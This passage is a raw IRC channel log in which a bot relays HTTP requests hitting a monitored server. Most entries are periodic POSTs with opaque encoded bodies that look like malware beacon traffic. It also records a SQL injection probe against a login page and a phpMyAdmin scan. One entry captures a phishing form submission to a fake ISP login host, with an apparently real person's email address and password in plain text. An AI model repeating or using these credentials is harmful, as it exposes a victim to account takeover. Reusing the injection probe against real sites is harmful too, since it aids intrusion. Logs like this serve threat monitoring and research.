  5074. [09:20] <HTTP> EKNWld7OY5IL8VzVp1BssdSC8xE3Oskmsr0i0oMnhHXeHH5KeE/N0k1Yj5cODoyRIi6GM0FDWVceC2aG2TQJclv7SQV5cufES/kvJlkrNmLy/5wATuCZ1++hECFBUkg0mhy8EW4X+1c10EiUaehQJY0VMlgil8gUsYJpL6xnaaZMGmvOGWZPaLej3OPDdAqOhsXrOyaJnmvxVRaMWZeqM25zYvEdjpdnJQu9ftB/TpZCaNCVrl+rMd6PF4vOvu5egcBxpRTSGIH88Jg3m2eG0a9D9g4ktRnBsgk9hoNK237NSNuAiVXZNexTylU0U6H001u94JUsQNjPtFLvu/wIwkiXxfKkkLZbpV6SjoNtKlfu/5BdwOTayZO3WP7xkg==
  5075. [09:22] <HTTP> Socket initiated: 97.92.92.152
  5076. [09:22] <HTTP> POST / HTTP/1.1
  5077. [09:22] <HTTP> Content-Type: application/x-www-form-urlencoded
  5078. [09:22] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5079. [09:22] <HTTP> Host: 172.86.120.218
  5080. [09:22] <HTTP> Content-Length: 384
  5081. [09:22] <HTTP> Cache-Control: no-cache
  5082. [09:22] <HTTP> F/ddkt7PbO/ttEjY7DlzKP/3kw0mTHs99lK8fGWqTC8zn8b9VQ5KakiEdzX1+rWzLf3+BAMrfnKTXYXuC83VmV0y2eOEzpERtqI60sio6cZX4IiM2aDR/FtgKF69iPJKzo02md5+99LJymgySnVzAqJp2GynO9mOStNnoXPadTuYi9OH/78jbwwivZTMFw8JxvD7Zh9U1Tmc0Rj2fvuXzuc4TmeT3RXTV6s+7TaqZjNbK9W+WMGKfJKhyq/MQloAwl9K4VdsTSd8b1oEJK4a1TpFXyhqHkYqbuLF13v2taSeBVADAJNJK0mWWC9CkncC3e3QuEmbrkteS7UjJTo3/dKvkJp8oJftJ61APC+Wnkb1pzNAjfR7qdWHz+P/J/o=
  5083. [09:24] <HTTP> Socket initiated: 97.92.92.152
  5084. [09:24] <HTTP> POST / HTTP/1.1
  5085. [09:24] <HTTP> Content-Type: application/x-www-form-urlencoded
  5086. [09:24] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5087. [09:24] <HTTP> Host: 172.86.120.218
  5088. [09:24] <HTTP> Content-Length: 368
  5089. [09:24] <HTTP> Cache-Control: no-cache
  5090. [09:24] <HTTP> QaVYxt+aZuGW/RcLyfhMccZY/p64PsBBnO7NT7TvbO1+BCXTRX48+2mCHAuH+mVXjjd4m0vV0JDXjKhfGEil6axSK1kTswYy/3M+X+tjNWHn2Ucnm3cd5xa/bPYJPqKJzpKTWpgPD08DHjcZ/wr+uQOsCZ5dqHBslAR6ZOLkWaGhoNCtVM/ggHCf8k37YfTghNCDLSnASjbDYszJtQCJEzdrJhgUzlDA2gTablwzhcTCHuHfK+waHTFTaYX5fc579AOsfTYJ9XpHeVMdL9Z8wFAbt9LyiNZRp5+2Th4jwuACpBP8E+SS7qWV4+6slG2crI8gnw3kKU7ZbMquEmwclKQOPxAXtYtCyD/RPRzq3nsCDRc=
  5091. [09:26] <HTTP> Socket initiated: 97.92.92.152
  5092. [09:26] <HTTP> POST / HTTP/1.1
  5093. [09:26] <HTTP> Content-Type: application/x-www-form-urlencoded
  5094. [09:26] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5095. [09:26] <HTTP> Host: 172.86.120.218
  5096. [09:26] <HTTP> Content-Length: 388
  5097. [09:26] <HTTP> Cache-Control: no-cache
  5098. [09:26] <HTTP> E/RWxtnPNlZufaL+N9dQiLsZ7FSxA1rWKa389wHBIfQ3OL2b39zwlGjy5YRCxKmJFQpx0E/BTAicdReWVv+mv8ZWK/w4MSOx92l6oPzo/OmXFsCSI+3fLFLfS/CKBkEpHaPdiNSTd5AxsStQ/SFMcRNKQRR0GaEi8NYwp++9608NZHFEq4PlYRw37lUPgZq1UCF1fbJgrChs4cWokpKkD2K1SQz+oPIqwXWG6gFICZ48dDe8EawxFacAP7mZkoRmtlHaXY6L1WVH+wJexlB3EUNKpxcQB2DxYljEnH7G7QZloP2udLVcbOtu8Nno1VipHWULFhD0E9opanxid6sRSSwnjCef2NBHDkEd9nl9Rr/eIYVrQ14+PZBxD3x8Dj3LLg==
  5099. [09:26] <HTTP> Socket initiated: 60.191.38.77
  5100. [09:27] <HTTP> GET /current_config/Account1 HTTP/1.1
  5101. [09:27] <HTTP> Accept-Encoding: identity
  5102. [09:27] <HTTP> X-Request: JSON
  5103. [09:27] <HTTP> Connection: close
  5104. [09:27] <HTTP> Accept: */*
  5105. [09:27] <HTTP> User-Agent: Mozilla/5.0
  5106. [09:27] <HTTP> HOST: 172.86.120.218
  5107. [09:27] <HTTP> X-Requested-With: XMLHttpRequest
  5108. [09:27] <HTTP> Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  5109. [09:28] <HTTP> Socket initiated: 97.92.92.152
  5110. [09:28] <HTTP> POST / HTTP/1.1
  5111. [09:28] <HTTP> Content-Type: application/x-www-form-urlencoded
  5112. [09:28] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5113. [09:28] <HTTP> Host: 172.86.120.218
  5114. [09:28] <HTTP> Content-Length: 364
  5115. [09:28] <HTTP> Cache-Control: no-cache
  5116. [09:28] <HTTP> SqcLkNLBMoKB4CU5yuaIO/wfprEGQs5Qo+R3PPzGZlmoOXnFb6DYBlLaK0mAcItvCu7vWnJOXizimk9H612I29NyjfzdyM/C4Hiokp63VFRBQsjtpYIDSzVQh0FTo1oKfAxHAruPPGCABJ5b/+sKKfiiSOInJY2mKJZOPJg5n6td+cjw1vTO6Ljebk5NubBHQLE1Pc3BZVPnrTUl9/pY5AxqOF2uefstMnFZ/wQcMrZ+Cp5De3toKpjj6fMJ4YhW1Xqp89e/24AsGmo1zLP7Ijy11UYLkd+htNLPY/wwTfgdQomuD5YR6ODV8v/vxGJLc+U4dDvypYdU/moX0pJ1bi2pAiz+SW+CJw2xChoNTFE=
  5117. [09:30] <HTTP> Socket initiated: 97.92.92.152
  5118. [09:30] <HTTP> POST / HTTP/1.1
  5119. [09:30] <HTTP> Content-Type: application/x-www-form-urlencoded
  5120. [09:30] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5121. [09:30] <HTTP> Host: 172.86.120.218
  5122. [09:30] <HTTP> Content-Length: 368
  5123. [09:30] <HTTP> Cache-Control: no-cache
  5124. [09:30] <HTTP> FKUMyN7BNTyGThrZWjcNWaswPwmBQjlNyjcopa1Teukgu/0Sx12wF6/94sXV635cPT3vUvF/4y0DgA6l2ZzMlSQYmHLGY8PCSxh2S/rXrdnbm0+7+VA1iVy8udFMb7q62Jr0B7Ak32MIgxTGfEr+zz2Z854mdpaj7CoswKcF+nTzsEWk+nNSOy79PCsdsDXXczhh6FXIO8sYZEHDfWXDlUInNEnAyfNtKB1ufhbovur/k+YNBwulcSwBPV/GvoZuwaR3JtNLqjh6G3nhUZxs1N71LWma/9UUyw0iqKDGeGf1/xmgyHWmOJPZgsgH9dBWxc6I+mNPmXmWNP2rQ0G1hnnRynljDC+y4slfHQJKnXdK5G9a
  5125. [09:31] <HTTP> Socket initiated: 91.189.36.109
  5126. [09:31] <HTTP> GET /userlogin/login.aspx?id=1%27and%201=2 HTTP/1.1
  5127. [09:31] <HTTP> Host: www.gtmcom.net
  5128. [09:32] <HTTP> Socket initiated: 97.92.92.152
  5129. [09:32] <HTTP> POST / HTTP/1.1
  5130. [09:32] <HTTP> Content-Type: application/x-www-form-urlencoded
  5131. [09:32] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5132. [09:32] <HTTP> Host: 172.86.120.218
  5133. [09:32] <HTTP> Content-Length: 400
  5134. [09:32] <HTTP> Cache-Control: no-cache
  5135. [09:32] <HTTP> FKcLkoieMmFRwkFLmwpYvlOG2rRSu5A64kNlEeJlj0XTY9Fleasx9pnd2xg655GuS1RcI31VO1czNRx96sfkYxOHr2wf77CUTmP3qFlHGkGAtsR3S+JcYTQX8NCiwlQL+zjR5HFqAj0dxz231XVtCz/5Kskd96yCaIGNeoO1BqWo7bKvZh+CfqkKMAB4NVP0zLElOplGXl5EBPbwWWIFLa2KwOV5kM/Tr/gI0+GgQSsIWFxUWtL1iAto1asf+rrcK/c+2lyhXMIkSJHn1OzPBOBYy5Jjg4VVUdTUyKwZKDJa11Bes2XoOvcJkPhgMBhGZKag837qMSh0K6FoPzLKGeVgq1TeLAGpIpcvTKA5UECUAqO+uGzBiUXMWzTT0iR1yPFtm6R9EanW1Q==
  5136. [09:34] <HTTP> Socket initiated: 97.92.92.152
  5137. [09:34] <HTTP> POST / HTTP/1.1
  5138. [09:34] <HTTP> Content-Type: application/x-www-form-urlencoded
  5139. [09:34] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5140. [09:34] <HTTP> Host: 172.86.120.218
  5141. [09:34] <HTTP> Content-Length: 388
  5142. [09:34] <HTTP> Cache-Control: no-cache
  5143. [09:34] <HTTP> QKIPx97PNhM6PutL/PO2Z3EiA7XYyGdGaH29d2oETJSQF1qjtm8/3X9oe6hy5Fuan5qMHtTZRoK5ua0Xj+/0w0Rm0QtFxID8PgPKZW8cL1l82RglO4VrOrzEoAn1FWw1u4Io8PpLzm/8QcLHKDc01c4y4IS4OQKMQbTEMmBL3sz0V3EZmbEXhDPdaNGwn+/RtJAQRCPgBzF19Mhyq/Ptjlm64Dew0QoJ/CIBcdYr27WNqH356XHRKVfqwsSxYpZgausCQMAnfz3KUuFZaJXcRQiKQwm2kNYG33t/L20j9taHwcQVjQ0+TnNBirukNxYcInxyHOM/tiFCp3wKpn8HobTORVMVdxtN3F5VfBvct9rm3XuOe5n0k2s7+3Rj+jcn0A==
  5144. [09:36] <HTTP> Socket initiated: 97.92.92.152
  5145. [09:36] <HTTP> POST / HTTP/1.1
  5146. [09:36] <HTTP> Content-Type: application/x-www-form-urlencoded
  5147. [09:36] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5148. [09:36] <HTTP> Host: 172.86.120.218
  5149. [09:36] <HTTP> Content-Length: 360
  5150. [09:36] <HTTP> Cache-Control: no-cache
  5151. [09:36] <HTTP> Q/cKxtqbYSTgRqPOeUh5XBn7v4N5wUaKORqbcgGQWKCFkEFuofndYbA2kwrC6AntLGasiUL6OsoiBsJR7E4yeP2lXDz0FlVlyQBAy30awHOP3bP4ADYQDOnc9s1wmDXSpcngCHarHjTuKdkNHHqDg/wG1ixp3cbbFQ7hFj4Aj4gXyxUhadfyoT+/6c6k9vKyW0SRAzdtncB4sreKoXh1k9arKrzNHMYoQe3ZY6sGEbWL2i71DWhZw75TfgeNZ1MKTLW3zW/XiuQ47472cq+NBelkEZjOzncuv7RWwjag3GxPt17UaYzxDqsC5YnY9OuVFqpGkxsPSPMXYCoYhmbqqItEdPY3+YjL/1fJ59g=
  5152. [09:38] <HTTP> Socket initiated: 97.92.92.152
  5153. [09:38] <HTTP> POST / HTTP/1.1
  5154. [09:38] <HTTP> Content-Type: application/x-www-form-urlencoded
  5155. [09:38] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5156. [09:38] <HTTP> Host: 172.86.120.218
  5157. [09:38] <HTTP> Content-Length: 368
  5158. [09:38] <HTTP> Cache-Control: no-cache
  5159. [09:38] <HTTP> F6xck9LIYx2wTZ3zd66FkDtV/NIejeXMU1epwMQHgwMm4GAlCQ0n4HFGlxflPC44PnRd+XTZH6ofWi//7yls5Cw93ATRLvOf8INiPVjK+BGkT1cv6oX093PSF93sZC9A75aQb83W7WCYYkcnOKv5NDYUBc34dgfhASSc58J/nIZYN2LQBYrJnEfn+HI3CkxPxur/e7820Roz5gpnJMjO12RXvLefB9wtGB2AY5zw5GMBtHyEWLeHvqBsmERWCrvHC07YknR/kjYc7FryC0Ncud+hXitHFttVgOtpFg2GYwCTAGkSK+XIluowD0tqkCaPmjRjNOpznE83eUO6UHBMMqauKp0eZAZzgVkK+NuiSZ+lQRU=
  5160. [09:40] <HTTP> Socket initiated: 97.92.92.152
  5161. [09:40] <HTTP> POST / HTTP/1.1
  5162. [09:40] <HTTP> Content-Type: application/x-www-form-urlencoded
  5163. [09:40] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5164. [09:40] <HTTP> Host: 172.86.120.218
  5165. [09:40] <HTTP> Content-Length: 400
  5166. [09:40] <HTTP> Cache-Control: no-cache
  5167. [09:40] <HTTP> SvcKk46bNfPtSG2kBtps9v8+SEdt1EBOptVxCJKWMr5UjWqiwPr4JUJ+KiiRXfJEcEyXO7FveRldGbRsHTwDRyiNVyaJuk/1hPzOtiGRoNOdoP13I3TXKOInYswuKOsdYsecGk+MPl2KmyCoXnVGVes69m2DYl0PpyuLtGJ1MA9kxxPRb0f4OgBFTFrQQqqEy6P8SJctD5p0qWZlU+dBivTW7iOkvwPuP2P4rzGtCBWx0O+w1eti2gTznw/eU16uZdVxNGj2PWl20Kv06u3cwvM4IjzuBQVf6AtxJ2kJPtbd5vKfJX5n7EQbm589+k2cAnnP09xrmP0WB9Li7npkolO0jABLLofedcJhyBKWzm+zoGf535krZl8ZjNlxuKolIEErsVRQCnlIE7w=
  5168. [09:42] <HTTP> Socket initiated: 97.92.92.152
  5169. [09:42] <HTTP> POST / HTTP/1.1
  5170. [09:42] <HTTP> Content-Type: application/x-www-form-urlencoded
  5171. [09:42] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5172. [09:42] <HTTP> Host: 172.86.120.218
  5173. [09:42] <HTTP> Content-Length: 408
  5174. [09:42] <HTTP> Cache-Control: no-cache
  5175. [09:42] <HTTP> RaddkN7PMjxaaX0b3hI7MhjT+rF9p97sToeBQrZiDUXzUsneQvw5e6FTFZ9xIuxRWrQOimtVdx/lgWHTNqH2YrARDT4nHr9Uc76DMYv2j/v5AC8+NiS65HlT9/IWPiS5Q8OSs9tk7xRAMq56WCWAg10iEWz2QZB7WAM6gfiio/lgN0YdlTJfRI4EHyaVjPSiBgstsCP9LYxpizCDz7q3BrNuezyRh3Plm6F2nEBoSaE+ITDgXGQqoxEmJ85t1MmM+DZoRjcGxRKcPJiNOPvNNRsDjau3C3ffod8KKKXJOPVVjGhocXuQZVG4SAvFhkNNzU+AcJyFjJFU7eYLtBTRZ9UY1dfq7DemLXXefQgJz6QdSlZv5heYlp/T7sPg3uuA9o8pq/lzapspdtTyrVha8Q==
  5176. [09:44] <HTTP> Socket initiated: 97.92.92.152
  5177. [09:44] <HTTP> POST / HTTP/1.1
  5178. [09:44] <HTTP> Content-Type: application/x-www-form-urlencoded
  5179. [09:44] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5180. [09:44] <HTTP> Host: 172.86.120.218
  5181. [09:44] <HTTP> Content-Length: 400
  5182. [09:44] <HTTP> Cache-Control: no-cache
  5183. [09:44] <HTTP> RPNaxt/MYBtpz2zTTl+USn74XTSPO3oeYTtMyfDa0vblxYnTiQbYIori0VOeS8OTwPEU+3x3etr2OLFas9VskV8E6NoaIESpS0TZywUu1hVSZXtuEs8tIwrzbwgPlBV8SkB3TgiQbURzVTsCY8Ci/swz5xu+qBPo0oieOW5aeWe9iNOSA553/YtLpD5AkZq59GwmI1Vuez0AG0sSXUVWkVQbYVjXFpthm4F+oYj1qXtz9UAOxkWqGPESVPx0FXLg/RRVR4YlCr0XT2lF/X/blcX1VgclWAHR7loN4v8ZazF+Ao37Ka4bdCIh7KvwAJ/4w5BAzcY4goN4s1805R0WYLo28XnjQaGQem64JR7eelaWFeDuods5SqEdiQinVj8YzQJJtm8zAIoxXWs=
  5184. [09:46] <HTTP> Socket initiated: 97.92.92.152
  5185. [09:46] <HTTP> POST / HTTP/1.1
  5186. [09:46] <HTTP> Content-Type: application/x-www-form-urlencoded
  5187. [09:46] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5188. [09:46] <HTTP> Host: 172.86.120.218
  5189. [09:46] <HTTP> Content-Length: 392
  5190. [09:46] <HTTP> Cache-Control: no-cache
  5191. [09:46] <HTTP> EaVdlNzKMJmDyCwg2wkUz/qis0PEvg6N8MCaZSLp8MIuBqz0dsp968QkwTg5S7hCKTrewZxf1h6RVjK4oup6HceKqFFcVjIRtZ7lbcFqWqg2TSafsnzVhAixBsVc6ID0zTaAZNtP64vQolyfUhulnxNWYguc6yiy4GoTzE+/bK75716Ng6DsrAD2XHNaN2OwiEyWpuCLVRQpUUpilS0leWd/CtoSOlE7vq9pT9qaLTo32gNjakzkXAUw6utwBBzaEcjJD4yiHnqgM2lsk32NoE+iHPoxe24gnJo09PyybfG8jIi87Eq6eoh6DH6ExSILGNA74wvpTY92uN20b/xEuIdwNq/PDhqqcBl4wurEgLoJfjToxLvvleC7qIanxW4iLhRo+90U
  5192. [09:48] <HTTP> Socket initiated: 97.92.92.152
  5193. [09:48] <HTTP> POST / HTTP/1.1
  5194. [09:48] <HTTP> Content-Type: application/x-www-form-urlencoded
  5195. [09:48] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5196. [09:48] <HTTP> Host: 172.86.120.218
  5197. [09:48] <HTTP> Content-Length: 408
  5198. [09:48] <HTTP> Cache-Control: no-cache
  5199. [09:48] <HTTP> EPENyY/KYMkOQzfK9Op4GdDfb2BXSSDCKdnsNq52SbMSM3WUkQHpGisGiVH271w0spSnhDzqKa5ux7DQOmYT0xgcOmzQCmjuKh0R/p4LOnQWPD6yWtQOE85aVT9g+C7z/rXjOi0x2H/ARpYH4XksX0r6Fxh4utPx6k/waXqqzeHrnU+R8fkj+QILnEnFqQeq4yJeY0WFmbYKGuxosZ1u3O2UKtTAZByeWMYI2yTt6eZi2Rra67/8UN+/Xo+xfE/xTF6RGHTxdJRZyuYQe2PkPhKghAQhecmy18gwpTBRUYQNAlCyvyiqLdn2ufLGvMdHOLy90D0KQYmFTbqmRYSrMwBrHxt4i0tJwRY5RFquB9zP4TeR/FezWx09YiSgsioK87DRKZPUsIZIslIm5t3KBQ==
  5200. [09:50] <HTTP> Socket initiated: 97.92.92.152
  5201. [09:50] <HTTP> POST / HTTP/1.1
  5202. [09:50] <HTTP> Content-Type: application/x-www-form-urlencoded
  5203. [09:50] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5204. [09:50] <HTTP> Host: 172.86.120.218
  5205. [09:50] <HTTP> Content-Length: 380
  5206. [09:50] <HTTP> Cache-Control: no-cache
  5207. [09:50] <HTTP> Ra0PwInNZfKIW3nGCTcN+jGThekQyIw2GQR6Yf6xOAx/eAC4ZQA5W/kHvXqlescrHWusFAy9CCH25T3F73TmHLLLRaDFCtwLecY+rJHbOWdSnZ+FUNlmv5QyyLBPldGV3vjf4K5K84dTtLv/4KQdkZenXDWRiBYZAwh6WTmTMbrNiWsrxsp7dNPiEJDR80V9aEX1nv9Radjk8BhkPOgqvaPbXe7c2dEgAud4v4Z1+OPFcntsk3J4ejG8UdrRdaWBNTc1gKKr06gVL13C7GrCf0qpAxhdWMtlnsaIhi31pFeXJTOTc5+pOKveI06MUcyM50O2vJTW6RCBEUkiKUIEDwWvyYBi5lVoX9Lc/TjpVv0iAMJIVeBs5hZTgw==
  5208. [09:52] <HTTP> Socket initiated: 97.92.92.152
  5209. [09:52] <HTTP> POST / HTTP/1.1
  5210. [09:52] <HTTP> Content-Type: application/x-www-form-urlencoded
  5211. [09:52] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5212. [09:52] <HTTP> Host: 172.86.120.218
  5213. [09:52] <HTTP> Content-Length: 436
  5214. [09:52] <HTTP> Cache-Control: no-cache
  5215. [09:52] <HTTP> F/dewYnMNWMcvMWKaSNFCA3lWaMlxCVyPsCfH4Ejo5DOIlLnJ7r+5Zg//TxqBMQR4T7K3uU4yFJNU3Nbprx+qnf41xvscPAjf9wrSDFwVQN+SQ0wNdZ7uI+73DdXfN5OdtOJj/aSKO0Oj8zrtehFCqMaVIxY/Y1c6+fPTinJCG/1lrcFL8leqYFw/bey3XRrFpBYFz8eoqx/36O3Bao7cjV3GbkxvIBKv6ufeJRR1DGFgf0h83AU77OfrGWV1rK+SE+0gKRhyKj7xVdcjVtj92cxIRjYZteKcI490ruidpoDe/JzMZZ9fE8++5uEqZ4TI9JytsAOc4sC0KBK5aTDTWc0w+xfUxkHVNeUYetK9VmJgdxgNBWq1N5AHhnLJ7zIamTuq6/sR9kLJG
  5216. [09:52] <HTTP> 3jiRpcbQT+ERj7lbTILBo4GtvmeQfPOjUJWck=
  5217. [09:54] <HTTP> Socket initiated: 97.92.92.152
  5218. [09:54] <HTTP> POST / HTTP/1.1
  5219. [09:54] <HTTP> Content-Type: application/x-www-form-urlencoded
  5220. [09:54] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5221. [09:54] <HTTP> Host: 172.86.120.218
  5222. [09:54] <HTTP> Content-Length: 372
  5223. [09:54] <HTTP> Cache-Control: no-cache
  5224. [09:54] <HTTP> Q6NWx9PNZ5HwRodM+6nDfAumCNZKKdbTpZlFX7wqUJ3GuEQQ1kh22bb6Q0FqLlnBPh+qcgK5nEdA3NA1scfvw75YSyFhJI7h2pkAX1sLhBmiJz8t/rTEw2fo0agE6RgDmDzYCGCFGW1oCVpcLgHSX8BheLXrxsyhqXFbzstkrFyYrFo6oraNaRkT5wth3wN1qXsLII1vczWZVgftiDa9xMscBVB64AGsmRN5DwUGp703CL1Pi/yPhTXW2mbhzR69aK+EMDdfTCdNC/LF/1CzKjSgLQOBWZRCLf3wLybC5qIAmZ+pQjIpTXQX2PPIpfDbou0qgpF3GN93JdrzfMQj60OHda93YGHWrSzrtPhol7GovRNV6q4=
  5225. [09:56] <HTTP> Socket initiated: 97.92.92.152
  5226. [09:56] <HTTP> POST / HTTP/1.1
  5227. [09:56] <HTTP> Content-Type: application/x-www-form-urlencoded
  5228. [09:56] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5229. [09:56] <HTTP> Host: 172.86.120.218
  5230. [09:56] <HTTP> Content-Length: 428
  5231. [09:56] <HTTP> Cache-Control: no-cache
  5232. [09:56] <HTTP> S6NWl9vPYABHRRsuPgTAMDBV5wMSto9nI160it//e6awoqNVxd/tinCz5uWPxRyzFtZX6J86fmtEHyRTXb+Wza/gVbJg80ceYMeHH6DiMd/eG6lGDz2E9aNDq82mIxgFKi6jlUeIxbiGznWfb9j/Ar6XeTRoURGz5gdHQA6aYjfZ4AeMpm1lhmKTUfX1DKahXiXQnhNpHtQwMdY5DeO4loITCcJBvrkmbjIl5/+w7nz08mcYf43laES2gHo8T/AX3QVsc19ePmZMNoJCynlJNMaiIfZLBWRyD6TY7f7/Gng7oBdJk8NprvG2pbo1i4U+OLGJjHQCF7qnRJHVYg63g16btMZOtiKPcIFe/GAHIZ1ac8QSkL0YIerdXkL4qtR7T6MtofcGqPxckB
  5233. [09:56] <HTTP> /XKcx7C1ljfOINfUNkEwBRIooTkw==
  5234. [09:58] <HTTP> Socket initiated: 97.92.92.152
  5235. [09:58] <HTTP> POST / HTTP/1.1
  5236. [09:58] <HTTP> Content-Type: application/x-www-form-urlencoded
  5237. [09:58] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5238. [09:58] <HTTP> Host: 172.86.120.218
  5239. [09:58] <HTTP> Content-Length: 440
  5240. [09:58] <HTTP> Cache-Control: no-cache
  5241. [09:58] <HTTP> F6dcxI+ZZBlRtKWtEbjtMKRroFtHYhTE5pg/N0bur56YJmIEZHWCwdcTKqxNHo6bNtrP2jNpaUdnv0gs9Yk8EW5I8opNHC+PUiHOD8syJS+kll6Nuy8L1eu2alUdOvh3tEA5PDwkFp9hyQg5Hp4jlO2mlIFt2ZgW71wsQwYCOXF7Wyvw8o/6vez/NOuFOftIq6Ytw/lTgE6lUoK6tSj6ViadlQSkS1wPxidEw0/7wCaG/owGcmEBhMeTEpgxxHZAI/V3J7CpMvoimnIltwx/6fNNalFILrvGwEbuYF9G8nWo1JG2U241K78Un6PgbqMVVdMG5TpZkbP5Yy9GZfMXw219nqqsUbnet6B1rBlGtahsMgaDx8mIxGS1vWihzCL0nx1p2b5LaCl4Lo
  5242. [09:58] <HTTP> iwOzp9BfdM9PaoQ4DS7zyjke/1onBZ3wnex4oXmw==
  5243. [10:00] <HTTP> Socket initiated: 97.92.92.152
  5244. [10:00] <HTTP> POST / HTTP/1.1
  5245. [10:00] <HTTP> Content-Type: application/x-www-form-urlencoded
  5246. [10:00] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
  5247. [10:00] <HTTP> Host: 172.86.120.218
  5248. [10:00] <HTTP> Content-Length: 436
  5249. [10:00] <HTTP> Cache-Control: no-cache
  5250. [10:00] <HTTP> EfRfw9/JZvqdlmufRPDm5vVg9yzlCuyhyM7AIO8eV0LfmvO7U2M3guuYfPTihg0wiQZPCRAG2pKIezTgdI/RefEQ8X1hOhUmUH5kOxokUNHv5OjXsJXn0urK8X4aKAWGpp0jZA2bcV3Bp6G4ZeWywatDZelLg6NSKCwPo55/DqaRVO1gi2Edi8JjIdDRdVvc1rUpVoc5fNAL9uEsTVlVMfpofhoJ6cLFKWgQw5v5KhOUBSES5M/DG0GFnHJ5tJnVyOQWPhnu+jBHtJkOIMAPLMEa/EmAltU//ygq4GJmyFi0NDGYW7G54YxeA9qaBno4P68GhmHbnupoF86yQ1LLYiGorlmkASTNzhkMifHs3iN8IPFjOifYYVFuprGkzCX/aDNY+0KoKESP/S
  5251. [10:00] <HTTP> 6kub7TwboCyMT7Fv5VbH9kOHHtPQOfRW9XkA==
  5252. [10:20] <HTTP> Socket initiated: 138.204.184.10
  5253. [10:20] <HTTP> GET / HTTP/1.1
  5254. [10:20] <HTTP> User-Agent: curl/7.17.1 (mips-unknown-linux-gnu) libcurl/7.17.1 OpenSSL/0.9.8i zlib/1.2.3
  5255. [10:20] <HTTP> Host: 172.86.120.218
  5256. [10:20] <HTTP> Accept: */*
  5257. 02[10:48] * independent (independen@Owner.home-unix.com) Quit (Ping timeout: 60 seconds)
  5258. 03[10:49] * independent (independen@97A00772.16DE410C.CE86F8AC.IP) has joined ##ss
  5259. [11:52] <HTTP> Socket initiated: 183.129.160.229
  5260. [11:52] <HTTP> GET / HTTP/1.1
  5261. [11:52] <HTTP> HOST: 172.86.120.218
  5262. [11:52] <HTTP> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
  5263. [11:52] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5264. [11:52] <HTTP> Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  5265. [11:52] <HTTP> Accept-Encoding: deflate
  5266. [11:52] <HTTP> Connection: keep-alive
  5267. [11:54] <HTTP> Socket initiated: 91.230.47.3
  5268. [11:55] <HTTP> GET / HTTP/1.0
  5269. [11:55] <HTTP> Connection: close
  5270. [12:33] <HTTP> Socket initiated: 77.173.5.181
  5271. [12:33] <HTTP> Socket initiated: 77.173.5.181
  5272. [12:33] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  5273. [12:33] <HTTP> Host: ziggo.nl.hacked.jp
  5274. [12:33] <HTTP> Content-Type: application/x-www-form-urlencoded
  5275. [12:33] <HTTP> Origin: http://219.93.200.189
  5276. [12:33] <HTTP> Accept-Encoding: gzip, deflate
  5277. [12:33] <HTTP> Content-Length: 126
  5278. [12:33] <HTTP> Connection: keep-alive
  5279. [12:34] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5280. [12:34] <HTTP> User-Agent: Mozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1
  5281. [12:34] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  5282. [12:34] <HTTP> DNT: 1
  5283. [12:34] <HTTP> Accept-Language: nl-nl
  5284. [12:34] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=R.klerks%40ziggo.nl&userId=R.klerks%40ziggo.nl&password=301047&button=
  5285. [12:35] <HTTP> Socket initiated: 60.190.43.74
  5286. [12:35] <HTTP> GET /phpmyadmin HTTP/1.1
  5287. [12:35] <HTTP> Connection: Keep-Alive
  5288. [12:35] <HTTP> Content-Type: application/x-www-form-urlencoded
  5289. [12:35] <HTTP> Accept: */*
  5290. [12:35] <HTTP> Accept-Language: zh-cn
